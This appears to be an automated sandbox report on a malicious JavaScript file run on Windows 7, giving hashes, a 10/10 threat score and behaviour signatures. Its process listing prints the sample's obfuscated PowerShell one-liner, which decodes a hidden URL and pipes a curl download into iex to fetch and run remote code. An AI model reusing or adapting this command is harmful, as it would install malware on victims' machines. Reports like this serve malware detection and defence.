Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:23
General
-
Target
7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018.js
-
Size
166KB
-
MD5
2adcf3dd0d5a9db97e7069f390761785
-
SHA1
604634497b12a41817bd3b74541d617a89d48c22
-
SHA256
7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018
-
SHA512
966501b7ee5aaf93b3a238d8c33d469ab007027cb6712d07db21f2ae7bf54dcf2587d1728775857454e9fed49f4378407b93f37db19cc4322942ba89e1757c3a
-
SSDEEP
3072:LLpnHCeNb8yFQLyt0NaTHEWegDzR/bKDFQvYBnLZYlC+dXx4:LLpiehCet0ArEW9NT4QvYBFQ5dXC
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\7ea7823c33b4182058ec4d60810065f302e9b8ab0f35181aac8c49f118999018.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $tnkzqs='ur';new-alias press c$($tnkzqs)l;$ltthzjxsrl=(5812,5814,5831,5821,5827,5820,5827,5826,5823,5755,5825,5820,5821,5756,5758,5755,5821,5813,5821,5772,5824,5770,5818,5814,5819,5825,5824,5758,5760);$dlftecwyryfgi=('bronx','get-cmdlet');$kirfvwpf=$ltthzjxsrl;foreach($nwxxmp in $kirfvwpf){$qptykulqqcqxv=$nwxxmp;$ddkjvnjwrp=$ddkjvnjwrp+[char]($qptykulqqcqxv-5709);$aydjvwg=$ddkjvnjwrp;$gscoclrrcoqs=$aydjvwg};$rirylt[2]=$gscoclrrcoqs;$lspxsqmz='rl';$aivzzsssyznp=1;.$([char](9992-9887)+'e'+'x')(press -useb $gscoclrrcoqs)1⤵
- Process spawned unexpected child process